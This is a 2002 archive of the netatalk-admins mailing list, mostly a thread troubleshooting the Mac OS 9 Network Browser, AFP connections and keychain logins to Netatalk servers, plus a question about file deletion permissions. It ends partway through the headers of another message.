	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 04:20:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA24177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 04:20:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA24160
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 04:20:47 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA24135
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 04:20:45 -0500 (EST)
Received: from host213-122-71-159.dial.btopenworld.com ([213.122.71.159] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16YkjU-0003no-00; Thu, 07 Feb 2002 09:20:44 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id IAA31182;
	Thu, 7 Feb 2002 08:19:50 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100310b887e5b50081@[10.0.1.10]>
In-Reply-To: <B8863098.2FF90%ts@visual-s.de>
References: <B8863098.2FF90%ts@visual-s.de>
X-Mailer: Eudora for Macintosh!
Date: Thu, 7 Feb 2002 08:19:49 +0000
To: Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:29 pm +0100 6/2/02, Thomas Schierle wrote:
>
>Interesting ... at work, connecting against an ASIP 6.3.2 on 9.0.4 server
>(we have AppleTalk enabled), from an OS 9.2.2 workstation AppleTalk
>logins initiated by Network Browser work like a charm, whereas TCP logins
>fail miserably. I'll see if I can find a 9.1 workstation tomorrow.


The story continues...

Since the downgrade's apparent success I have again experienced a 
failure to mount from the Network Browser, so using AppleShare 3.8.8 
is not the 'cure all' I had perceived. In fact I'm not sure it did 
much at all, maybe the reboot is what allowed it to work?

There is something funny about the NB. We have ascertained that it 
'interprets' the afp URL in different ways according to what it sees, 
so it seems that Apple has tried to build in some form of 
Intelligence, but as usual that just results in confusion.

What I have noticed is that if when using the Chooser to connect I 
check the 'save in keychain' box and also the 'save user name and 
password' option in the next dialog (save password is enabled for 
Netatalk), then there's an error message about not being able to save 
in the keychain as it must be read only, yet the volume still mounts 
and the password etc is saved in the keychain.

The above may not be connected, but it seems to me that the failure 
to mount from NB might be some form of authentication failure. Once I 
have mounted one volume from the server, then the NB and aliases of 
other volumes seem to work. IOW, once authenticated on that server 
these methods then succeed, but if it's the first time and 
authentication is required, it fails.

I have another question that is really just concerning the NB. Once 
connected to a server under one username, how can you login with a 
different name? Every way I try, it just uses the last username, 
whereas with the chooser you can pick a different name each time.

Something is certainly not right with it. What are other's 
experiences of using the Network Browser?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 05:02:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA06598
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 05:02:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA02610
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 05:02:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA02584
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 05:02:45 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA02522
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 05:02:44 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g17A2dx20812;
          Thu, 7 Feb 2002 10:02:39 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b887fff5eb77@[192.168.195.62]>
In-Reply-To: <p05100310b887e5b50081@[10.0.1.10]>
References: <B8863098.2FF90%ts@visual-s.de> <p05100310b887e5b50081@[10.0.1.10]>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Thu, 7 Feb 2002 10:02:38 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Ken Gillett's message of the 07/02/2002 at 08:19 +0000,


>There is something funny about the NB. We have ascertained that it 
>'interprets' the afp URL in different ways according to what it 
>sees, so it seems that Apple has tried to build in some form of 
>Intelligence, but as usual that just results in confusion.

Yes, it talks to the server to see what version it is running, what 
protocols it supports, what authentication methods are available and 
so on. These are fairly well-defined, and there is no "confusion".

>What I have noticed is that if when using the Chooser to connect I 
>check the 'save in keychain' box and also the 'save user name and 
>password' option in the next dialog (save password is enabled for

I save my username/password in the keychain ever since this facility 
was introduced and it works fine. I keep aliases to my network 
volumes in my startup folder and they auto-mount on my desktop every 
day (once I unlock the keychain, which I only have to do once per 
reboot).

>Once connected to a server under one username, how can you login 
>with a different name? Every way I try, it just uses the last 
>username, whereas with the chooser you can pick a different name 
>each time.

It does, doesn't it? OTOH, try throwing away its preferences?

-- 
Sak Wathanasin
Network Analysis Limited           http://www.network-analysis.ltd.uk

Phone: (+44) 24 76 41 99 96     Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Thu Feb  7 05:40:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA08273
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 05:40:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA29106
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 05:40:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA29090
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 05:40:21 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA29054
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 05:40:20 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA08065;
	Thu, 7 Feb 2002 12:06:36 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 07 Feb 2002 11:40:24 +0100
Subject: Re: Network Browser & SLP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sak Wathanasin <sw@network-analysis.ltd.uk>, <netatalk-admins@umich.edu>
CC: Ken Gillett <keng@BTInternet.com>
Message-ID: <B8881827.1B21F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100300b887fff5eb77@[192.168.195.62]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 7 Feb 2002 10:02:38 +0000, Sak Wathanasin wrote:

> In reply to Ken Gillett's message of the 07/02/2002 at 08:19 +0000,
> 
> 
>> There is something funny about the NB. We have ascertained that it
>> 'interprets' the afp URL in different ways according to what it
>> sees, so it seems that Apple has tried to build in some form of
>> Intelligence, but as usual that just results in confusion.
> 
> Yes, it talks to the server to see what version it is running, what
> protocols it supports, what authentication methods are available and
> so on. These are fairly well-defined, and there is no "confusion".

I think, Ken means the fact that sometimes the AFP URL attribute and
sometimes the NAME attribute will be interpreted by NB... (my mail from Sun,
03 Feb 2002 12:58:34 +0100, subject "Re: SLP registration"). Both happening
before some sort of afp conversation starts with the server...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Feb  7 05:48:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA08545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 05:48:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA13246
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 05:48:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA13232
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 05:48:04 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA13188
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 05:48:02 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA08124;
	Thu, 7 Feb 2002 12:14:20 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 07 Feb 2002 11:48:08 +0100
Subject: Re: Network Browser & SLP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>, Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B88819F7.1B220%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100310b887e5b50081@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 7 Feb 2002 08:19:49 +0000, Ken Gillett wrote:

> I have another question that is really just concerning the NB. Once
> connected to a server under one username, how can you login with a
> different name? Every way I try, it just uses the last username,
> whereas with the chooser you can pick a different name each time.

Not for me. Even with the chooser I never will get a new authentication
chance as the dialog will show "already registered on server xy"...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Feb  7 07:10:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA11697
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 07:10:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA19334
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 07:10:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA19318
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 07:10:11 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA19288
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 07:10:09 -0500 (EST)
Received: from host213-122-171-124.dial.btopenworld.com ([213.122.171.124] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16YnNQ-0003QR-00; Thu, 07 Feb 2002 12:10:08 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id MAA31875;
	Thu, 7 Feb 2002 12:03:13 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100315b8881d14052d@[10.0.1.10]>
In-Reply-To: <B88819F7.1B220%Thomas.Kaiser@phg-online.de>
References: <B88819F7.1B220%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Thu, 7 Feb 2002 12:03:11 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:48 am +0100 7/2/02, Thomas Kaiser wrote:
>>  I have another question that is really just concerning the NB. Once
>>  connected to a server under one username, how can you login with a
>>  different name? Every way I try, it just uses the last username,
>>  whereas with the chooser you can pick a different name each time.
>
>Not for me. Even with the chooser I never will get a new authentication
>chance as the dialog will show "already registered on server xy"...


Not if you unmount all volumes from that server. In that case the 
Chooser will display the logon dialog again, but NB just reconnects 
with the same username etc.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 08:20:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA14394
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 08:20:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA12123
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 08:20:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA12118
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 08:20:37 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA12107
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 08:20:36 -0500 (EST)
Received: from host213-122-0-3.dial.btopenworld.com ([213.122.0.3] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16YoTQ-0003Ye-00; Thu, 07 Feb 2002 13:20:24 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id MAA31990;
	Thu, 7 Feb 2002 12:28:14 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100317b8881f6e92bb@[10.0.1.10]>
In-Reply-To: <p05100300b887fff5eb77@[192.168.195.62]>
References: <B8863098.2FF90%ts@visual-s.de>
 <p05100310b887e5b50081@[10.0.1.10]>
 <p05100300b887fff5eb77@[192.168.195.62]>
X-Mailer: Eudora for Macintosh!
Date: Thu, 7 Feb 2002 12:28:12 +0000
To: Sak Wathanasin <sw@network-analysis.ltd.uk>, netatalk-admins@umich.edu
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:02 am +0000 7/2/02, Sak Wathanasin wrote:
>>There is something funny about the NB. We have ascertained that it 
>>'interprets' the afp URL in different ways according to what it 
>>sees, so it seems that Apple has tried to build in some form of 
>>Intelligence, but as usual that just results in confusion.
>
>Yes, it talks to the server to see what version it is running, what 
>protocols it supports, what authentication methods are available and 
>so on. These are fairly well-defined, and there is no "confusion".


I beg to differ. Most Mac users have no idea what the Network Browser 
is all about - it has to be one of the most poorly documented aspects 
of the Mac, even for Apple.

So, to eliminate my confusion, perhaps you could explain the following:-

What does 'New Neighborhood' mean? I know it adds one to the list, 
but this is then never populated with anything, even when advertising 
services with the same specified scope name (via the SLP server).

Why does a 9.2.2 machine list only the AppleTalk and Local Network 
neighborhoods and a 9.1 Mac show the Local Network neighborhood 
INSIDE a Local Services neighborhood?

Why does the ftp service not allow a name to be specified in the same 
way as an afp, or http service?

Why do a lot of people suffer NB crashing as soon as it's started?

Why does the NB NOT mount a volume when double clicking on it?

Why does the NB sometimes mount a volume when double clicking on it?

Where is the documentation that explains all this?


>>What I have noticed is that if when using the Chooser to connect I 
>>check the 'save in keychain' box and also the 'save user name and 
>>password' option in the next dialog (save password is enabled for
>
>I save my username/password in the keychain ever since this facility 
>was introduced and it works fine. I keep aliases to my network 
>volumes in my startup folder and they auto-mount on my desktop every 
>day (once I unlock the keychain, which I only have to do once per 
>reboot).


If you check the 'reconnect at startup' boxes you shouldn't need to 
put volume aliases in your startup folder. You seem confused about 
this:-)


>>Once connected to a server under one username, how can you login 
>>with a different name? Every way I try, it just uses the last 
>>username, whereas with the chooser you can pick a different name 
>>each time.
>
>It does, doesn't it? OTOH, try throwing away its preferences?


Not a very satisfactory solution though really is it, just to login 
to a server with a different name. Not a solution at all.

I believe the NB has a lot of potential, but it's difficult trying to 
figure out how it works and why it does, or does not do certain 
things. It is not easy finding these things out and that's why I'm 
hoping for some clues here from others who may, or may not be more 
knowledgeable than me.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 08:37:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA15059
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 08:37:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA29094
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 08:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA29078
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 08:37:00 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA29024
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 08:36:58 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g17Davx21475;
          Thu, 7 Feb 2002 13:36:57 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b8882ff231b8@[192.168.195.62]>
In-Reply-To: <p05100317b8881f6e92bb@[10.0.1.10]>
References: <B8863098.2FF90%ts@visual-s.de>
 <p05100310b887e5b50081@[10.0.1.10]> <p05100300b887fff5eb77@[192.168.195.62]>
 <p05100317b8881f6e92bb@[10.0.1.10]>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Thu, 7 Feb 2002 13:36:56 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Ken Gillett's message of the 07/02/2002 at 12:28 +0000,

>So, to eliminate my confusion, perhaps you could explain the following:-

Try this:

ftp://manuals.info.apple.com/Apple_Support_Area/Manuals/software/NSLAdminGuide.PDF

>If you check the 'reconnect at startup' boxes you shouldn't need to 
>put volume aliases in your startup folder. You seem confused about 
>this:-)

No, it's because I want other things to start up before I mount the 
volumes. It also allows me to cancel the volume mount eg if I'm using 
my iBook on a train. There's more than 1 way to skin a cat.

PS Can people plese stop cc'ing to my private e-mail addr unless they 
want paid consultancy: I have got work to do, guys...
-- 
Sak Wathanasin
Network Analysis Limited           http://www.network-analysis.ltd.uk

Phone: (+44) 24 76 41 99 96     Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Thu Feb  7 08:55:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA16069
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 08:55:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA25305
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 08:55:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA25284
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 08:55:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA25229
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 08:55:55 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA09720;
	Thu, 7 Feb 2002 15:22:19 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 07 Feb 2002 14:56:06 +0100
Subject: Re: Network Browser & SLP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>, <netatalk-admins@umich.edu>
Message-ID: <B8884606.1B281%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100317b8881f6e92bb@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 7 Feb 2002 12:28:12 +0000, Ken Gillett wrote:

> I beg to differ. Most Mac users have no idea what the Network Browser
> is all about - 

It's a frontend for the "Network Services Location Manager Network" (see the
URL, Sak provided, or two below)

<http://developer.apple.com/techpubs/macos8/pdf/NSL_Mgr.pdf>
<http://developer.apple.com/techpubs/macosx/Networking/NSL/index.html>

At <http://docs.info.apple.com/article.html?artnum=58102> you will find some
basic info too...

Maybe you will also find useful stuff at <http://www.opendoor.com/>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:20:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA03883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:20:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA25414
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:20:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA25400
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:20:12 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA25236
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:20:07 -0500 (EST)
Received: from host213-122-7-240.dial.btopenworld.com ([213.122.7.240] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16YsDN-00034E-01; Thu, 07 Feb 2002 17:20:06 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id QAA00434;
	Thu, 7 Feb 2002 16:48:52 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100302b8885e86c186@[10.0.1.10]>
In-Reply-To: <B8884606.1B281%Thomas.Kaiser@phg-online.de>
References: <B8884606.1B281%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Thu, 7 Feb 2002 16:48:49 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 2:56 pm +0100 7/2/02, Thomas Kaiser wrote:
>
>>  I beg to differ. Most Mac users have no idea what the Network Browser
>>  is all about -
>
>It's a frontend for the "Network Services Location Manager Network" (see the
>URL, Sak provided, or two below)


Don't forget, we're the elite and know something of what we talk 
about whereas to be quite frank, most Mac users do not and I repeat 
they have no idea what the Network Browser is all about and that 
includes Apple employees.

It was an attempt to provide point and click access to network 
resources (who says they copied Windows Network Neighborhood) but is 
so obscure in its operation that regular Mac users don't understand 
it, they certainly shouldn't need to read the developer docs to 
figure it out.

I however, will read the docs so I do have an idea and for that I 
thank you all for the provided links.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:20:18 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA03899
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:20:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA19504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:20:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA19481
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:20:17 -0500 (EST)
Received: from mail.disney.com (mail.disney.com [204.128.192.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA19446
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:20:16 -0500 (EST)
Received: from Hermes10.corp.disney.com (hermes10.corp.disney.com [153.7.110.102])
	by mail.disney.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g17HIJJ23124
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 09:18:19 -0800 (PST)
Received: from lucky.wds.disney.com by hermes.corp.disney.com with ESMTP for netatalk-admins@umich.edu; Thu, 7 Feb 2002 09:19:37 -0800
Received: from disney.com (tva-sgiadmin.wds.disney.com [153.7.162.33])
	by lucky.wds.disney.com (8.8.5/8.8.5) with ESMTP id JAA23419;
	Thu, 7 Feb 2002 09:21:05 -0800 (PST)
Sender: joe@studio.disney.com
Message-Id: <3C62B74C.C076484C@disney.com>
Date: Thu, 07 Feb 2002 09:20:12 -0800
From: "Davenport, Joe" <Joe.Davenport@disney.com>
X-Mailer: Mozilla 4.51 [en] (X11; U; IRIX 6.5 IP32)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Users unable to delete files
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have a number of users unable to delete files that should be able to
delete based on the Unix permissions, however the operation fails with
the following error message.

"you cannot trash this because you do
 not have access privileges"

Netatalk version is 1.5pre2-6  running on a 2.4.3-12 Linux Kernel

Any Ideas or help would be appreciated.

Thanks

Joe Davenport


From netatalk.administrators-errors@umich.edu  Thu Feb  7 12:23:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA04036
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Feb 2002 12:23:44 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA05500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Feb 2002 12:23:44 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA05487
	for netatalk.administrators-members@umich.edu; Thu, 7 Feb 2002 12:23:43 -0500 (EST)
Received: from server-16.tower-16.messagelabs.com (mail16.messagelabs.com [64.124.170.131])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA05443
	for <netatalk-admins@umich.edu>; Thu, 7 Feb 2002 12:23:42 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 32515 invoked from network); 7 Feb 2002 17:23:38 -0000
Received: from mail.vibe.com (HELO vibe.com) (65.105.250.196)
  by server-16.tower-16.messagelabs.com with SMTP; 7 Feb 2002 17:23:38 -0000
Received: from [65.105.250.198] (account <shaas@vibe.com>)
  by vibe.com (CommuniGate Pro WebUser 3.5.4)
  with HTTP id 1052472; Thu, 07 Feb 2002 12:23:31 -0500
From: "Stuart Haas" <shaas@vibe.com>
Subject: dsi_getsess: Connection refused
